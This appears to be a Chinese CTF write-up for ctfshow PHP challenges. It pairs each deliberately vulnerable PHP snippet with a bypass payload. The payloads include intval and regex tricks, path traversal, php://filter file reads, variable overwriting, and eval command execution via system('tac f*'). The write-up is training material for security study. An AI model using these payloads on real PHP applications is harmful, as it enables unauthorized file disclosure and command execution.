/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: [email protected]
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
数组绕过,传入num[]=xxx,上面的if就会返回false,不会进入if
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: [email protected]
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
intval函数的定义:intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
int intval ( mixed $var [, int $base = 10 ] )
当intval函数的base值为0时,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
所以这里传num=0x117c即可
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com
*/
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
preg_match绕过,用%0a即可,主要是这里的正则表达式的$
,$
会匹配到字符串结尾的换行符(也就是%0a)
即$a=%0aphp,这里借用羽师傅的解释%0aphp 经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。 经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
同90
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这里特意匹配了一个[a-z],那就用八进制,?num=010574
即可
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
用4476.0即可
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
注意到$num==4476,这里如果用上一题的payload是不行的,因为4476.0等于4476,看到
if(!strpos($num, "0")){
die("no no no!!!");
}
如果num的第一个字符为0就会nonono!,那第一个用空格代替即可
?num=空格010574
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
payload:
?u=ddd/../flag.php
?u=伪协议读取
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
数组绕过。
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
变量覆盖漏洞,假设get传一个?a=flag,POST传一个error=a,
那么第一个GET处的$$key=$$value
就是$a=$flag
此时flag的值在a处,
再看POST的$$key=$$value
,传入以后就变成$error=$a
那么整个逻辑就是$error=$a=$flag
,又不满足了下面的判断导致die($error),那么就会把flag打印出来。
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:38:27
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
get:v2[]=1
post:v1[]=2即可
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
主要是看这个parse_str函数,比如
$a='flag=123&xxx=456';
parse_str($a,$b);
echo $b['flag']; //输出123
echo $b['xxx']; //输出456
所以这里post传v1=flag=v3进行md5后的值,v3正常传值。传入后就相当于parse_str(flag=xxxx,$v2)
,所以就会满足$v2['flag']==md5($v3)
从而拿到flag
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
error
估计就是ereg这里有洞了,百度了一下还真有,存在一个截断漏洞,只会匹配%00前的内容,那么到下一步intval(strrev($_GET['c']))==0x36d
先反转,再intval,0x36d转为10进制是877所以最后传入c=ss%00778即可
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
异常类报错进行命令执行.
payload:?v1=Exception();&v2=system('tac f*')
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
知识盲区,?v1=FilesystemIterator&v2=getcwd
得到fl36dga.txt,访问即可
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
只用字母,满足v1中有ctfshow即可进入getFlag函数,可以让v2=GLOBALS,然后就var_dump出全局变量,就能看到flag
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
有is_file检测,所以肯定不能直接传值文件名,而下方的highlight可以用伪协议来读取文件,所以直接
?file=php://filter/resource=flag.php
过滤了base64,rot13,还可以用别的,比如file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
和
file=compress.zlib://flag.php
113还可以用/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
查了一下,说是highlight_file函数检测软链接有漏洞
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!
php://filter/resource=flag.php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19
*/
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
num=%0c36,具体原理参考羽师傅博客这里
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
第一个点就是要传CTF_SHOW,CTF_SHJOW.COM,但是php的变量名是不能有点的,穿进去会被解析成_,看了羽师傅博客发现CTF%5BSHOW.COM
这样就可以传一个变量名为CTF_SHOW.COM的,也不知道原理。
第二个点是关于这个$_SERVER[‘argv’],根据羽师傅博客知道
web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
可以本地看看$_SERVER[‘QUERY_STRING’]返回什么.
$a=$_SERVER['QUERY_STRING'];
echo $a;
直接查看,什么都没有,如果url?flag=123,就会显示flag=123
把php.ini下的register_argc_argc打开然后
//$a=$_SERVER['QUERY_STRING'];
$a=$_SERVER['argv'];
echo $a[0];
//$a=$_SERVER['QUERY_STRING'];
$a=$_SERVER['argv'];
echo ("\$a[0]:".$a[0]);
echo ("\$a[1]:".$a[1]);
//url/?a=1+fl0g=flag_give_me
//$a[0]:a=1
//$a[1]:fl0g=flag_give_me
通过加号可以分割argv,所以这里数组被分割
所以就有预期解如下,通过parse_str查询字符串解析到变量中
预期:
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
别的:
get: $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag